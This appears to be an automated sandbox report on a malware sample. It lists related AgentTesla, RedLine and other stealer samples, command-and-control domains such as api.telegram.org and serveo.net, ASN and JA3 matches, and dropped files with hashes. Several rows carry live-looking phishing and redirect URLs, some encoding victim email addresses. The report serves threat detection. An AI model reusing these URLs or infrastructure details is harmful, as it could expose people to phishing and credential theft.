	Dekont.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	ip-api.com/line/?fields=hosting
	1e#U041e.vbs	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	DA-0986789009008.bat.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	something.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	cotizaci#U00f3n para nuevo pedido.xla.xlsx	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	17074938086a37925e51090cde88bb9b9cab9c2809900b2e7c2a2e6b8d9f8e8d3d3ee8799e367.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Nueva Orden de Compra 45035339504.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	ESTADO DE CUENTA DHL - 69502.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	17075649093e1f08173f977f56d5a6074cf72a4a48f58106317565a0844aab156446d6e86e172.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Dekont.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	208.95.112.1
	Dekont.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	208.95.112.1
	1e#U041e.vbs	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	DA-0986789009008.bat.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	https://secosrl.com/.well-known/pki-validation/Auths/5155027697.html	Get hash	malicious	HTMLPhisher	Browse	38.91.107.240
	something.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	cotizaci#U00f3n para nuevo pedido.xla.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	17074938086a37925e51090cde88bb9b9cab9c2809900b2e7c2a2e6b8d9f8e8d3d3ee8799e367.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Nueva Orden de Compra 45035339504.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
api.telegram.org	AlPDAGITIM F#U0130YAT TEKL#U0130F _PER 001 #U2026scanneed 00101.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	149.154.167.220
	SOMGAZ PO NO6200125011.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	DHL.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	0O060gfMXL.exe	Get hash	malicious	Keyzetsu Clipper, PureLog Stealer, zgRAT	Browse	149.154.167.220
	l9mYgXeAP6.exe	Get hash	malicious	DCRat	Browse	149.154.167.220
	SecuriteInfo.com.FileRepMalware.13580.30909.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	BILL_OF_LADING_02062024_MAERSKLINE.JS	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	N4PSobGhBi.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Ompdem.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	149.154.167.220
	FG0987600008000.jar	Get hash	malicious	AgentTesla	Browse	149.154.167.220
serveo.net	https://b8013254eee96ef4659628582f5a50c4.serveo.net/login.html.php	Get hash	malicious	Unknown	Browse	138.68.79.95
	Y3b5c7qTOT.exe	Get hash	malicious	Gurcu Stealer	Browse	138.68.79.95
	http://c19004ed64b239568d3bcd24530de08b.serveo.net/login.html	Get hash	malicious	Unknown	Browse	138.68.79.95
	http://7835dbdb3022446b51c31cd27fec818f.serveo.net/login.html	Get hash	malicious	Unknown	Browse	138.68.79.95
	L7A5ai2xFC.exe	Get hash	malicious	Gurcu Stealer	Browse	138.68.79.95
	oMGTwbRGSf.exe	Get hash	malicious	Gurcu Stealer	Browse	138.68.79.95
	nbbv.exe	Get hash	malicious	Nanocore	Browse	159.89.214.31

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	AlPDAGITIM F#U0130YAT TEKL#U0130F _PER 001 #U2026scanneed 00101.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	149.154.167.220
	SOMGAZ PO NO6200125011.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	DHL.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	0O060gfMXL.exe	Get hash	malicious	Keyzetsu Clipper, PureLog Stealer, zgRAT	Browse	149.154.167.220
	rR15ofOPl3.exe	Get hash	malicious	LummaC, Amadey, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine	Browse	149.154.167.99
	l9mYgXeAP6.exe	Get hash	malicious	DCRat	Browse	149.154.167.220
	https://2n8w.app.link/?~channel=Email&~feature=ConfirmationEmail--AtocETicket&~campaign=WebToApp&~tags=locale%3Den_GB&~tags=version%3D1&~tags=marketing_code%3DBSH3675&$android_url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.thetrainline%26hl%3Den-GB&$android_deepview=false&$android_passive_deepview=false&$ios_url=https%3A%2F%2Fitunes.apple.com%2FGB%2Fapp%2Fthetrainline%2Fid334235181&$ios_deepview=false&$ios_passive_deepview=false&$fallback_url=https://sedat.biz/dev/css/ksyidpguxq/YnJldHQuY2FydGVyQGFtZXJpc2JhbmsuY29t#	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://80rb.app.link/?~channel=Web--Direct&~feature=Cms&~campaign=AppBanner&~tags=locale%3Dfr_FR&~tags=version%3D1&~tags=target%3Dios&$ios_url=https%3A%2F%2Fitunes.apple.com%2FFR%2Fapp%2Fthetrainline%2Fid599502670&$ios_deepview=false&$ios_passive_deepview=false&$fallback_url=istanbulrehber%E3%80%82gen.tr/dev/css/tfcyyfxpck/YWxleC5ibGFuY29AdmFudGFnZXJpc2suY29t#%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojotap%3C/STRONG%3E%3C/FONT%3E%3CFONT%20id=%7Bdvojotap%7D%3E%3CSTRONG%3Edvojot	Get hash	malicious	Unknown	Browse	149.154.167.99
	SecuriteInfo.com.FileRepMalware.13580.30909.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	BILL_OF_LADING_02062024_MAERSKLINE.JS	Get hash	malicious	AgentTesla	Browse	149.154.167.220
DIGITALOCEAN-ASNUS	https://newsheater.com/2024/02/08/worthington-steel-inc-ws-shares-rise-despite-market-challenges/	Get hash	malicious	Unknown	Browse	157.245.253.204
	FW_ Town of Lake Hamilton_Spreadsheet.msg	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	159.89.102.253
	MNpiaf0SjJ.elf	Get hash	malicious	Mirai	Browse	104.248.249.107
	OriginalMessage.txt.msg	Get hash	malicious	Unknown	Browse	67.207.85.73
	nigga.sh	Get hash	malicious	Mirai	Browse	157.245.233.192
	https://track.trackminds.net/campaign/563210d7-bbd1-40f1-a8a1-5fe191294d15	Get hash	malicious	Unknown	Browse	46.101.220.185
	https://track.enterprisetechsol.com:443/z.z?l=aHR0cHM6Ly9pdGJ1c2luZXNzdG9kYXkuY29tL3VzLXByaXZhY3ktcG9saWN5Lw%3d%3d&r=14473740419&d=12037165&p=1&t=h&h=2406a96f7a060d97d21ab6ced86a8836	Get hash	malicious	Unknown	Browse	104.248.15.35
	https://goeco.mobi/?sub1=ig&sub2=true&source=ss-landing&c=cpuv&url=https%3A%2F%2Ffrankyourn.com%2Fvknvktvt%2Ffkkff%2Fckaxckaxckaxckaxckax%2Fc2hpbGxpbmdlci1ib2JAbW9ucm9lY291bnR5LWZsLmdvdg%3D%3D&utm_content=&token=	Get hash	malicious	HTMLPhisher	Browse	167.71.212.59
	https://support.cch.com/productsupport/outsideLink.aspx?3724u=//baidu.com///link?url=YbqS9ny3nly5xaJswYPe6SWvsrfels6WNAyji7ebCiZ9N5wJmg0Jz_j9c07-SjRWat1l85ZBzUL1J5S3tD0Ce_%26wd%23.SEwtRk9VLU9TU0BjZHdlLmNvbS50dw==	Get hash	malicious	Fake Captcha	Browse	206.81.31.131
	https://support.cch.com/productsupport/outsideLink.aspx?3724u=//baidu.com///link?url=YbqS9ny3nly5xaJswYPe6SWvsrfels6WNAyji7ebCiZ9N5wJmg0Jz_j9c07-SjRWat1l85ZBzUL1J5S3tD0Ce_%26wd%23.SEwtRk9VLU9TU0BjZHdlLmNvbS50dw==	Get hash	malicious	Fake Captcha	Browse	206.81.31.131
SIBTEL-ASRU	rspro.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	82.147.85.246
	toolspub1.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	82.147.84.194
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, RedLine, SmokeLoader, Stealc, Vidar	Browse	82.147.84.194
	toolspub1(1).exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	82.147.84.194
	wefhrf.exe	Get hash	malicious	Unknown	Browse	82.147.85.194
	wefhrf.exe	Get hash	malicious	Unknown	Browse	82.147.85.194
	QHHuOVwGfL.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	82.147.85.194
	zRZvgGeA5A.exe	Get hash	malicious	RedLine, zgRAT	Browse	82.147.85.205
	3NzQY1wS2B.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	82.147.85.198
	C7e8AncaYu.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	82.147.85.194
TUT-ASUS	17075649093e1f08173f977f56d5a6074cf72a4a48f58106317565a0844aab156446d6e86e172.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Dekont.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	208.95.112.1
	Dekont.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	208.95.112.1
	1e#U041e.vbs	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	DA-0986789009008.bat.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	something.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	cotizaci#U00f3n para nuevo pedido.xla.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	17074938086a37925e51090cde88bb9b9cab9c2809900b2e7c2a2e6b8d9f8e8d3d3ee8799e367.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Nueva Orden de Compra 45035339504.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	ESTADO DE CUENTA DHL - 69502.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	17075649093e1f08173f977f56d5a6074cf72a4a48f58106317565a0844aab156446d6e86e172.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	87645345.vbs	Get hash	malicious	XWorm	Browse	149.154.167.220
	96874650.vbs	Get hash	malicious	XWorm	Browse	149.154.167.220
	AlPDAGITIM F#U0130YAT TEKL#U0130F _PER 001 #U2026scanneed 00101.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	149.154.167.220
	SOMGAZ PO NO6200125011.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	1e#U041e.vbs	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	751652433.vbs	Get hash	malicious	XWorm	Browse	149.154.167.220
	387165243.vbs	Get hash	malicious	XWorm	Browse	149.154.167.220
	DHL.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	182763543.vbs	Get hash	malicious	XWorm	Browse	149.154.167.220

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_vkefq4cv.oil.exe_8bda737a63465ab69884df6bd58af130501f7e94_ea868dc5_2dd495ae-2f75-472c-b3ff-2ce61eb255a3\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3631329385084094
Encrypted:	false
SSDEEP:	192:fNJVulDnA0Z4V4LSaKUbJlVNe6lZF6zuiFtZ24lO8qU:1JViDbZ4V4LSaJbrWhzuiFtY4lO8qU
MD5:	8DF9BDA50BBE3450B40A752EFDA35970
SHA1:	9087F9B044B5643151B6E880FA1D4662544B872E
SHA-256:	B1554ABADA649C3F418FB4061ECDFA48ED84929AF06F3757DB7AA55203585DB6
SHA-512:	2D2622EE1C7D2AECDA109F88963444C341338281CD6C1384BDFC2ED2A704EBC74622A3EC5CA4416E0E1B830D0AAAC0F7988CED27D4B2A135D283E213354BF175
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.2.0.5.1.8.4.2.7.5.6.8.9.2.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.2.0.5.1.8.4.3.7.1.0.0.1.6.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.d.d.4.9.5.a.e.-.2.f.7.5.-.4.7.2.c.-.b.3.f.f.-.2.c.e.6.1.e.b.2.5.5.a.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.5.b.e.8.d.c.3.-.4.6.e.4.-.4.8.7.7.-.b.8.8.e.-.e.8.e.a.c.4.f.4.b.5.1.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.v.k.e.f.q.4.c.v...o.i.l...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.H.a.b.9.b.8.4.c.f.0.b.e.0.9.9.b.2.6.b.5.d.8.b.d.8.e.f.a.c.0.2.9.1.7.c...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.8.8.-.0.0.0.1.-.0.0.1.4.-.1.1.e.6.-.4.8.3.b.3.4.5.c.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.d.6.a.d.d.9.e.2.6.2.e.9.1.3.a.e.8.a.e.d.4.2.5.1.a.8.a.0.0.5.3.3.0.0.0.0.0.0.0.0.!.0.0.0.0.5.b.4.8.d.3.2.a.c.a.1.f.7.7.0.5.c.0.3.e.2.b.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCB81.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Sat Feb 10 15:17:23 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	744738
Entropy (8bit):	2.9709841894198212
Encrypted:	false
SSDEEP:	3072:DnDLp7S/mYF0UhPrxl3ozejFDcN+hHzsZ4oakRPcLRxBzcSMpUNauA1CCq4/ngp6:v2zU+xzaIgE3MpTq4/gp3Qa6+2
MD5:	50CEE141B6A528A99DD4F05900D33751
SHA1:	D0CBEBBBF89C29E411F2D067C6B80E1A5C950BD1
SHA-256:	38F3BFD3A68F925464D525E9A676B382D9B17CD6A48C47C084E28293D0B82ADE
SHA-512:	4563D44FC5DD35B2BB9A9705A1861E698BB6F3544CAD3431704BF8A48873D6FF3CE141D1D7C86763717CDB65DA5B840034C44C86333763E9A60E3FB67BB3F1BB
Malicious:	false
Preview:	MDMP..a..... ..........e.........................%..........<....1...........1......._.."...........l.......8...........T............m..:...........pP..........\R..............................................................................eJ.......R......Lw......................T...........\|..e.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCE32.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	9074
Entropy (8bit):	3.706987583444449
Encrypted:	false
SSDEEP:	192:R6l7wVeJeP9UK6YEfqGgmfZ22VKcJprP89bGbIfiCm:R6lXJe9UK6YECGgmfE2VHEGkfO
MD5:	B7EEBD7DDE9F9346C004426EF7E9285C
SHA1:	BBDC2419A74E5E87623CB49668CB64EF186A8EFB
SHA-256:	720E58F20F931C8990B2E2FC684F254003F95E54CF66E3E6F30D4120E7CEBBC1
SHA-512:	6C32FE678F258B6B3328511509BF3D642901D1AED046B46F773CD9FE1E9DF9FC55BE604182920975B4ABA7D49DD7EE7D2D6A2772F6BA33FFF96696C6FEDAF7FB
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.0.7.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCE62.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4845
Entropy (8bit):	4.480097738711733
Encrypted:	false
SSDEEP:	48:cvIwWl8zsTJg771I9snWpW8VYPYm8M4JEHqHFNIyq8vcHquyDg4Mhudd:uIjftI7vW7VnJHMWPuyDg4Mhwd
MD5:	C6C49753428EC5380CC37E96E3B673D3
SHA1:	0E2ECEB6D5FD08E35AAAEDB57594070504AAC059
SHA-256:	3FF9C8077B9660804B2B607CFBEACD83E8143FE545E83508B4A365EF257A6FEC
SHA-512:	F0AA8DBA794AE193837D5322361461A12609F306E0193F6EFEB03989B9DF3976B21F341A2DFCD04CA8E9CD5AD8C594362244013A673AA534AE6AB889871AA7E9
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="187580" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\.ssh\known_hosts

Download File

Process:	C:\Windows\System32\OpenSSH\ssh.exe
File Type:	ASCII text, with very long lines (404), with CRLF line terminators
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.90555968999191
Encrypted:	false
SSDEEP:	12:TyFqFcWmedrh+bMcBVM5uUkZq0lbUMO9wHWSSlICnoF/:dmgSbMcBVM5A409Kw1SlIQ+/
MD5:	EC266D309CBAD86B3E4939F2117DFE39
SHA1:	CF12599FBDC167B4C01B518A0BD63D51CD83798B
SHA-256:	2F8ECCA5380615BCD1530817933A7EA03D2D4FDC7D6E634829AA54E40413B05D
SHA-512:	D2D39D9174F459146DE57C205979E7815829C37EAFD214CDCE88F90A961F04E5468290E530CF31B9B621276A86EB3A071BBF3464962E1A8E44A7478794571BAA
Malicious:	false
Preview:	serveo.net,138.68.79.95 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxYGqSKVwJpQD1F0YIhz+bd5lpl7YesKjtrn1QD1RjQcSj724lJdCwlv4J8PcLuFFtlAA8AbGQju7qWdMN9ihdHvRcWf0tSjZ+bzwYkxaCydq4JnCrbvLJPwLFaqV1NdcOzY2NVLuX5CfY8VTHrps49LnO0QpGaavqrbk+wTWDD9MHklNfJ1zSFpQAkSQnSNSYi/M2J3hX7P0G2R7dsUvNov+UgNKpc4n9+Lq5Vmcqjqo2KhFyHP0NseDLpgjaqGJq2Kvit3QowhqZkK4K77AA65CxZjdDfpjwZSuX075F9vNi0IFpFkGJW9KlrXzI4lIzSAjPZBURhUb8nZSiPuzj..

C:\Users\user\AppData\Local\4cn9n9irdf\p.dat

Download File

Process:	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:CSn:CSn
MD5:	FCF1D8D2F36C0CDE8ECA4B86A8FE1DF8
SHA1:	C7F9B0FB437533FBD302CC7DCA6D68E101ADCE87
SHA-256:	AA522A6BEECBEB04BEAA3F2818524C5FA79D01549B7F330F0CC0DAF925A080EE
SHA-512:	893B79C9DD383A0E024CD278921A99DF9EB60CEDC67C69580518016664BA11829801FF0E8CE87035B3050E616FBEE84D04CABCD4C9D90451D236A481B348E8D5
Malicious:	false
Preview:	6787

C:\Users\user\AppData\Local\4cn9n9irdf\report.lock

Download File

Process:	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\vkefq4cv.oil.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQEAE4KKUNKKDE4KGKZI6KhPKIE4TKBGKoM:MxHKQEAHKKkKYHKGSI6oPtHTH0
MD5:	578A9969E472E71F38254887263D82A4
SHA1:	8ED7FC31B0F6660DBAC702BC603FBF4FE88B2F5D
SHA-256:	AB8369CDA9CB7709E00867CE5460553393ABF742CBD58501AD6113FDF884B938
SHA-512:	E55F7150298EF037848826E79EB72AD03D3D75C278D91CF0EA6AE3C04B89D4ABBD7BD2D5EB274715687012B90F51D53056F01CDBF5DDBB602711E66909C8BD87
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\jqOHOuPMJP.exe.log

Download File

Process:	C:\Users\user\Desktop\jqOHOuPMJP.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	false
